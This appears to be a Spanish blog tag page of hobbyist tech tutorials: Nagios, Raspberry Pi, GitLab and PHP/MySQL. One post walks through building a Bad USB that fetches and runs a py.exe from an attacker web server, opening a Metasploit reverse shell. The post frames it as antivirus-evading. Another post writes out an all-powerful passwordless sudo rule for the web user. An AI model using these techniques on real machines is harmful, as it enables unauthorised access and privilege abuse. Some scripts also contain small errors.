Mostrando entradas con la etiqueta programación. Mostrar todas las entradas
Mostrando entradas con la etiqueta programación. Mostrar todas las entradas

jueves, 15 de marzo de 2018

Monitorear si una maquina virtual tiene snapshots en VMware ESXi



Este script corre con el usuario nagios, el ESXServer lo cambian por el hostname de su ESX ó por la ip del mismo, Storage-01 es el nombre del datastore del vmware en mis servidores.

Va a llegar una alarma de nagios en caso que exista alguna virtual con al menos un snapshot en cualquier máquina virtual.

Script: /usr/local/apps/nagios/libexec/check_VM_snapshots


 # Autor Hernan Tirado
 # blog: redes-seguridad.blogspot.com
 # Creado el: 15-03-2018
 #
 # Uso: /usr/local/apps/nagios/libexec/check_VM_snapshots

CANT_SNAP=`ssh root@ESXserver-x ls -latR /vmfs/volumes/Storage-01/|grep -i snap |awk '{ print $6" "$7" "$9}'|sort|uniq|wc -l`

if [ $CANT_SNAP = 0 ];then
 echo "OK - Virtuales SIN Snapshots en Storage-01."
 exit 0
else
 echo "CRITICAL - Virtuales con Snapshots en Storage-01: $CANT_SNAP"
 ssh root@ESXserver -x ls -latR /vmfs/volumes/Storage-01/|grep -i snap |awk '{ print $6" "$7" "$9}'|sort|uniq
 exit 2
fi

fi
Tener en cuenta que tiene que tener habilitado el SSH en el server ESXi y también copiar la key de nagios en el autorized_key del server ESX.

lunes, 7 de agosto de 2017

Shell Reversa con Bad USB Casero a Bajo Costo


Nos descargamos el IDE de Arduino de la siguiente página: 

https://www.arduino.cc/en/Main/Donate



Lo instalamos y damos todas las opciones siguiente -> siguiente por defecto:




Si nos pide instalar algo como esto, le damos confiar siempre e instalar:




Abrimos el Arduino y vamos a Archivo -> Preferencias:



Colocamos en Tarjetas adicionales lo siguiente:
http://digistump.com/package_digistump_index.json y damos ok:



Clickeamos en Herramientas -> Placa: "Arduino/Genuino Uno" -> "Gestor de tarjetas ..."



Seleccionamos "Digistump AVR Boards by Digistump" -> Instalar
Esperamos que instale -> Cerrar:




Nuevamente vamos al mismo menú -> Herramientas -> Placa -> "Digispark (Default - 16.5mhz)":



Descargamos el Digistump Drivers desde: https://github.com/digistump/DigistumpArduino/releases



Descomprimimos y ejecutamos el siguiente archivo:



Abrimos el IDE de Arduino y vamos a > Archivo > Ejemplos > DigisparkKeyboard > Keyboard



Vamos luego a > Herramientas > Programador: "USBtinyISP" > USBtinyISP



Descargamos el .ino que hice para tipear automáticamente de la siguiente url: https://github.com/tirher/Arduino



Borramos lo que teníamos previamente en el IDE de Arduino y pegamos lo que descargamos del link anterior, debería quedar así:



Hacemos click en el tilde de arriba a la izquierda como indica en la imagen y luego veremos algo como muestra debajo de la flecha:



Luego seleccionamos la flecha que indica a la derecha y vemos abajo de todo en la ventana negra que nos indica cuando ingresar el USB Atiny85. Cuando aparece "Plug in device now ..." lo conectamos:



Cuando indique "100 % complete" lo desconectamos y ya tenemos el bad usb listo:



En el post previo mostré como utlizar avoid para hacer una shell reversa: http://redes-seguridad.blogspot.com.ar/2017/07/reverse-shell-indetectable-por-sophos.html ahora la voy a publicar en un webserver para poder descargarla u ejecutarla directamente del usb.

Iniciamos en el kali el apache2 y copiamos el py.exe en la ruta /var/www/html y verificamos que lo pueda acceder por una web:



Luego ejecutamos el siguiente comando, si ó si tiene que ser desde el terminal dentro del entorno gráfico, sino no funcionará:

root@kali:~/Desktop/avoidz# ./avoidz.rb -h 192.168.1.43 -f py

Cuando nos pregunte: "Whould you like to start a listener? (Y/n)" le indicamos que si y vemos como se abre solo el msfconsole y queda a la escucha esperando:



Conectamos el Bad USB en el windows y veremos que descargará el py.exe desde nuestro webserver y lo ejecutará:



Luego de unos segundos veremos la conexión reversa desde el windows al kali linux:



Vemos las sesiones abiertas y nos conectamos:



miércoles, 29 de marzo de 2017

Usando PIP para instalar Paquetes en Python

Vamos a instalar el paquete wiringpi2:

apt-get update
apt-get install python-dev python-pip
pip install wiringpi2




Nos conectamos a python e importamos el módulo:

python
import wiringpi2
wiringpi2.piBoardRev()




jueves, 23 de marzo de 2017

Prender un LED con Sensor de Movimiento Ultrasonico HC-SR04 en Raspberry Pi


En la entrada anterior vimos como controlar un LED con GPIO en la RaspBerry Pi: https://redes-seguridad.blogspot.com.ar/2017/03/controlando-un-led-con-raspberry-pi-en.html

Ahora vamos a explicar como prender el led utilizando el sensor de movimiento HC-SR04.

Materiales que utilizaremos son los mismos elementos que en el link de arriba, pero agregando el sensor que se puede conseguir por cualquier lado.


Pasos para la conexión:

Voy a explicar lo mejor posible, utilizando la terminología de filas A, B, C, etc y columnas 0, 1, 2, al mejor estilo batalla naval.

Los pines del Raspberry los enumeraré teniendo la tarjeta SD hacia la izquierda y el puerto USB hacia la derecha, el de abajo a la izquierda sería el PIN_1, el de arriba PIN_2, e ir contando de abajo hacia arriba y de izquierda a derecha PIN_3 sería el segundo de abajo de izq a der y así sucesivamente.

Lo que está en letra negrita es del raspberry y lo que está en letra azul es el protoboard:

1) Conectamos el PIN_2 de las raspberry al positivo => +59 (la primer linea de abajo del protoboard).

2) PIN_6 al negativo => -55 (la segunda linea de abajo del protoboard).

3) PIN_10 al J50

4) PIN_11 al J51

5) PIN_16 al H33

6) +53 al J49

7) -52 al J52 

8) Conectamos una resistencia del -35 al J35

9) Conectamos el LED de 5volts: El negativo (lado más corto) del LED lo conectamos al G35 del proto y el positivo (lado más largo) al G33

10) El sensor ultrasónico lo conectamos desde el F49 al F52. IMPORTANTE!! El GND del sensor debe ir en el F52 y el vCC del sensor al F49 del protoboard.


Ya finalizadas las conexiones les pongo el código para que generen el python:

vi /var/www/html/sensorProximidad.py

#!/usr/bin/python
import RPi.GPIO as GPIO
import time
GPIO.setmode(GPIO.BOARD)
Trigger = 10
Echo = 12
GPIO.setup(Trigger,GPIO.OUT)
GPIO.setup(Echo,GPIO.IN)
print "Sensor Ultrasonico"
try:
        while True:
                GPIO.output(Trigger,False)
                time.sleep(0.5)
                GPIO.output(Trigger,True)
                time.sleep(0.00001)
                GPIO.output(Trigger,False)
                inicio=time.time()
                while GPIO.input(Echo)==0:
                        inicio=time.time()
                while GPIO.input(Echo)==1:
                        final=time.time()
                t_transcurrido=final-inicio
                distancia=t_transcurrido*34000
                distancia=distancia/2
                if distancia < 10:
                        GPIO.setmode(GPIO.BOARD)
                        GPIO.setwarnings(False)
                        GPIO.setup(16, GPIO.OUT)
                        GPIO.output(16,1)
                else:
                        GPIO.setmode(GPIO.BOARD)
                        GPIO.setwarnings(False)
                        GPIO.setup(16, GPIO.OUT)
                        GPIO.output(16,0)
except KeyBoardInterrupt:
        GPIO.cleanup()

Le damos permisos al script de ejecución y lo ejecutamos, ponemos la mano a menos de 10 centímetros del sensor y si está todo bien conectado se encenderá el LED.

Acá les dejo el planito que hice:



Les dejo también un video del enano jugando con el sensor:



sábado, 18 de marzo de 2017

Prender/Apagar LED en Raspberry con PHP llamando a Python

En este enlace hicimos el primer ejercicio de prender y apagar un led en Raspberry Pi con python: https://redes-seguridad.blogspot.com.ar/2017/03/controlando-un-led-con-raspberry-pi-en.html

Ahora vamos a hacer un simple PHP con dos botones para prender el LED desde una web, pudiendo hacerlo desde la computadora, del celular o desde un lugar remoto:

Iniciamos el webserver apache:

root@kali:/home# /etc/init.d/apache2 start
[....] Starting apache2 (via systemctl): apache2.service
. ok

Tener en cuenta que tenemos que habilitar el sudo para el usuario www-data, lo configure rapido, sin seguridad dandole permiso a todo en el sudoers pero tengamos cuidado de no hacerlo asi porque es totalmente inseguro:

root@kali:~# visudo
# User privilege specification
www-data        ALL=(ALL:ALL) NOPASSWD: ALL

Nos logueamos con el usuario www-data:

root@kali:~# su - www-data
www-data@kali:~$ 

Generamos los archivos que lo prenden, el python y el php:

www-data@kali:~$ sudo cd /var/www/html/ 
www-data@kali:~/html$ sudo vi prende.py
#!/usr/bin/python
print "LED prendido!!"
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(17, GPIO.OUT)
GPIO.output(17,1) 
www-data@kali:~/html$ sudo vi prende.php
$a=exec('sudo python /var/www/html/prende.py');
echo $a;
?>

 Ahora los que apagan:
www-data@kali:~/html$ sudo vi apaga.py 
#!/usr/bin/python
print "LED apagado!!"
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(17, GPIO.OUT)
GPIO.output(17,0) 
www-data@kali:~/html$ sudo vi apaga.php
$a=exec('sudo python /var/www/html/apaga.py');
echo $a;
?>

 Lo prendemos y lo apagamos llamando al .php correspondiente desde un navegador:

http://192.168.1.40/prende.php

http://192.168.1.40/apaga.php


Ahora hacemos un unico php que tenga dos botones que prenderan o apagaran el led:


www-data@kali:~/html$ sudo vi boton.php


http://192.168.1.40/boton.php


Tenemos una opción mejor que encontré en el sitio de http://riverajefer.blogspot.com.ar/


La clonamos con el git y edigamos el procesa.php

root@kali:~# cd /var/www/html/
root@kali:/var/www/html# git clone https://github.com/rpi-jefer/rpi-led 
root@kali:~# vi /var/www/html/rpi-led/procesa.php


Cambio a la ruta de mis pythones así no tengo que cambiar los pines uno por uno:

    exec('sudo python /var/www/html/apaga.py');
y
    exec('sudo python /var/www/html/prende.py');


Ingresamos a la url y vemos que prende tocando el pulsador:




miércoles, 22 de febrero de 2017

Instalando GitLab en Debian 8

Qué es GitLab?

GitLab es un repositorio de gestión de proyectos mediante una interfaz web en la cual podemos gestionar grupos, permisos y hacer seguimiento de las modificaciones del código.

Instalamos curl como pre-requisito:

apt-get install curl

Descargamos el paquete con wget:

wget https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb

Ejecutamos:

cat script.deb | bash

Detected operating system as debian/jessie.
Checking for curl...
Detected curl...
Running apt-get update...
done.
Installing debian-archive-keyring which is needed for installing
apt-transport-https on many Debian systems.
Installing apt-transport-https... done.
Installing /etc/apt/sources.list.d/gitlab_gitlab-ce.list...done.
Importing packagecloud gpg key... done.
Running apt-get update... done.
The repository is setup! You can now install packages.

Instalamos gitlab-ce:

apt-get install gitlab-ce

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  gitlab-ce
0 upgraded, 1 newly installed, 0 to remove and 4 not upgraded.
Need to get 257 MB of archives.
After this operation, 803 MB of additional disk space will be used.
Get:1 https://packages.gitlab.com/gitlab/gitlab-ce/debian/ jessie/main gitlab-ce amd64 8.16.5-ce.1 [257 MB]
Fetched 257 MB in 3min 53s (1,101 kB/s)
Selecting previously unselected package gitlab-ce.
(Reading database ... 29918 files and directories currently installed.)
Preparing to unpack .../gitlab-ce_8.16.5-ce.1_amd64.deb ...
Unpacking gitlab-ce (8.16.5-ce.1) ...
Setting up gitlab-ce (8.16.5-ce.1) ...


       *.                  *.
      ***                 ***
     *****               *****
    .******             *******
    ********            ********
   ,,,,,,,,,***********,,,,,,,,,
  ,,,,,,,,,,,*********,,,,,,,,,,,
  .,,,,,,,,,,,*******,,,,,,,,,,,,
      ,,,,,,,,,*****,,,,,,,,,.
         ,,,,,,,****,,,,,,
            .,,,***,,,,
                ,*,.

     _______ __  __          __
    / ____(_) /_/ /   ____ _/ /_
   / / __/ / __/ /   / __ `/ __ \
  / /_/ / / /_/ /___/ /_/ / /_/ /
  \____/_/\__/_____/\__,_/_.___/


gitlab: Thank you for installing GitLab!
gitlab: To configure and start GitLab, RUN THE FOLLOWING COMMAND:

sudo gitlab-ctl reconfigure

gitlab: GitLab should be reachable at http://SERVIDOR.DOMINIO
gitlab: Otherwise configure GitLab for your system by editing /etc/gitlab/gitlab.rb file
gitlab: And running reconfigure again.
gitlab:
gitlab: For a comprehensive list of configuration options please see the Omnibus GitLab readme
gitlab: https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/README.md
gitlab:

gitlab: GitLab now ships with a newer version of PostgreSQL (9.6.1), and will be used
gitlab: as the default in the next major release. To upgrade, RUN THE FOLLOWING COMMANDS:

sudo gitlab-ctl pg-upgrade

gitlab: For more details, please see:
gitlab: https://docs.gitlab.com/omnibus/settings/database.html#upgrade-packaged-postgresql-server
gitlab:
It looks like GitLab has not been configured yet; skipping the upgrade script.

Reconfigure:

gitlab-ctl reconfigure

 Nos logueamos por la dirección del servidor ó la ip: http://nombreServidor y nos logueamos


martes, 5 de julio de 2016

Ejecutar consulta a MySQL desde PHP



Nos logueamos a la consola del mysql:

root@server:/# mysql -u root -p
Enter password: ingresamos password de mysql

Seleccionamos la base de datos:

mysql> use prueba_morsa;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed

Vemos las tablas:

mysql> show tables;
+------------------------+
| Tables_in_prueba_morsa |
+------------------------+
| personas               |
+------------------------+
1 row in set (0.00 sec)

Vemos la estructura de la tabla:

mysql> describe personas;
+--------+-------------+------+-----+---------+-------+
| Field  | Type        | Null | Key | Default | Extra |
+--------+-------------+------+-----+---------+-------+
| codigo | int(11)     | YES  |     | NULL    |       |
| nombre | varchar(10) | YES  |     | NULL    |       |
+--------+-------------+------+-----+---------+-------+
2 rows in set (0.00 sec)

Y vemos los datos:

mysql> select * from personas;
+--------+--------+
| codigo | nombre |
+--------+--------+
|      1 | Beto   |
|      2 | Betty  |
+--------+--------+
2 rows in set (0.00 sec)

Ahora creamos un archivo otro.php que contenga lo siguiente:

<?php
//Indicamos el server, el usuario y el password, donde está el mysql que queremos consultar
mysql_connect('localhost','usuario','passDeusuario'); 
//Corremos la consulta donde especificamos la base de datos: prueba_morsa, la tabla personas y devolverá el nombre del código que tiene 1:
$consulta = sprintf("SELECT nombre FROM prueba_morsa.personas WHERE codigo ='1';", mysql_real_escape_string($nombre), mysql_real_escape_string($codigo)); 
// Ejecutar la query
$resultado = mysql_query($consulta); 
// Comprobar el resultado - Devuelve el error si algo no funciona
if (!$resultado) {
$mensaje = 'Consulta no válida: ' . mysql_error() . "\n";
$mensaje .= 'Consulta completa: ' . $consulta;
die($mensaje);
}
 
// Imprimimos el resultado de la query
while ($fila = mysql_fetch_assoc($resultado)) {
echo $fila['nombre'];
}
 
// Liberamos los recursos
mysql_free_result($resultado);
?>

Nos conectamos a la web por http://nombre_del_server/ruta/otro.php y vemos lo siguiente:

Beto


Para más información de como crear una base de datos, una tabla e instertar datos ver el siguiente link:

http://redes-seguridad.blogspot.com.ar/2011/02/comandos-basicos-de-mysql.html